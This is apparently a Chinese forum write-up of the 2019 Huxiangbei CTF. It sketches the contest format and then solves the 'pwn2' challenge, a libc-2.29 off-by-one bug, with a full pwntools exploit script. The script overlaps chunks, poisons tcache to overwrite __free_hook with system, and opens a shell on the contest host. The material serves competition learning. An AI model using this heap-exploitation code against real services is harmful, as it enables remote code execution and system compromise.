分享一下湖湘杯的赛制
第一场渗透。
第二场就是CTF解题,所有人的靶机都一样的,采用登顶的模式,一轮之内,一道题只能有一个队伍得分,打通的队伍谁能真正维护好赛制中要求的文件信息,谁就可以得分。
第三场就是AI对抗,有AI对抗解题赛,还有人工智能挖掘漏洞机器人两个环节。个人觉得这个环节还是很新颖的,AI对抗解题赛还是没有什么可喷的,提交对抗样本;漏洞挖掘机器人感觉不太好实现,晚上只睡了两个小时瞎编的人工智障机器人跑都没有跑起来。
pwn2解题思路
首先别人有没有提前拿到题目我是不知道的,也不敢胡说八道,但我知道我肯定是没有提前拿到题目的(#^.^#),哈哈哈哈。
..
题目是libc-2.29的off_by_one,逻辑并不复杂,很好逆,那么重点就是漏洞利用。
限制了edit(off_by_one)+show的次数总共只能是两次,限制不能申请fastbin大小的chunk,而且是calloc()申请内存;但是他留了一个malloc(0x233)的后门,可以重复利用。
拿到题目刚开始就想到了balsn ctf的plain text,Ex师傅在博客介绍的绕过2.29 off_by_null的姿势;但是这里是calloc分配内存,所以行不通。
再一想hxb的决赛题也不会有那么难,就是用off_by_one改size+free fake_chunk形成overlapped chunk,然后改写tcache_list,利用malloc(0x233)的后门分配到__free_hook。
pwn2 exp
#https://github.com/matrix1001/welpwn
#-*- coding:utf-8 -*-
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn2'
ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.29-0ubuntu2_amd64'
ctx.remote = ('172.16.0.195', 8888)
ctx.debug_remote_libc = True
ctx.symbols = {
'node':0x4060,
'limit':0x4010
}
ctx.breakpoints = [0x1656]#menu:0x1656
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def add(idx,size,content='\n'):
sla('> ',1)
sla('idx',idx)
sla('size',size)
sa('cnt',content)
def delete(idx):
sla('> ',2)
sla('idx',idx)
def show(idx):
sla('> ',4)
sla('idx',idx)
def edit(idx,content='\n'):
sla('> ',3)
sla('idx',idx)
sa('cnt',content)
def hint(content='a'*8):
sla('> ',5)
sleep(0.1)
s(content)
rs('remote')
#dbg()
add(0,0x88,'a'*0x88)
add(1,0x108,'a'*0x108)
add(2,0x88,'a'*0x88)
add(3,0x88,'a'*0x88)
add(4,0x88,'a'*0x88)
add(5,0x108,'a'*0x108)
add(6,0x88,'a'*0x88)
add(7,0x208,'a'*(0x100+0x60) + p64(0) + p64(0xa1) + '\n')
#dbg()
edit(0,'a'*0x88+'\x61\x04')
delete(1)
add(1,0x108,'a'*0x108)
show(2)
libc = ru('\x7f',drop=False)[-6:]
libc_base = uu64(libc) - 0x1bfca0
lg('libc',libc_base)
free_hook = libc_base + ctx.libc.sym['__free_hook']
#dbg()
payload = 'a'*0x80 + p64(0) + p64(0x431)
payload = payload.ljust(0x110,'a')
payload += p64(0) + p64(0x101)
add(8,0x150,payload+'\n')
#delete(5)
#edit(4,'a'*0x88+'\x41\x02')
#delete(5)
#dbg()
#delete(3)
delete(4)
payload1 = 'a'*0x40 + p64(0) + p64(0x241)
payload = payload1.ljust(0x150,'a')
payload += p64(0) + p64(0x241)
payload += '\n'
#payload2 = 'a'*0x100 + p64(0) + p64(0x241) + p64(free_hook)
add(4,0x1e8,payload)
delete(6)
delete(5)
delete(3)
#dbg()
#add(3,)
#add(3,0x1f8,payload2+'\n')
payload = p64(free_hook)
payload = payload.ljust(0x110,'\0')
payload += '\x80\x48\n'
add(3,len(payload),payload)
delete(7)
delete(8)
#dbg()
add(7,0x80,p64(free_hook-0x25000)+'\n')
hint()
system = libc_base + ctx.libc.sym['system']
hint(p64(system-0x25000))
add(8,0x80,'/bin/sh\n')
delete(8)
irt()
这个题目当初做出来的时候应该是一血,还没有队伍来抢这个分数,得了几轮分数之后有其他师傅做出来了,直接把我踢下来了,连上shell之后也会被断开。大哥真的太狠了。一个题目只能有一个队伍得分,技不如人只能甘拜下风了。还要好好研究一下以后再有这种机会要anti一下。
最后
比赛有的地方确实需要吐槽,但是吐槽也顶不了什么用,有的地方也有可取的地方,比如CTF的登顶模式真的很有趣(虽然被大哥直接无情踢下来),最后的AI解题提交对抗样本也不常见,感觉有意思;不过最后的机器人:人工智能挖掘漏洞+exp利用(应该是针对比较简单的pwn)到底是怎么做的呢?非常想知道。希望大佬们告诉我一下,我学习学习。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌
握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2019-11-28 09:58
被Seclusion编辑
,原因: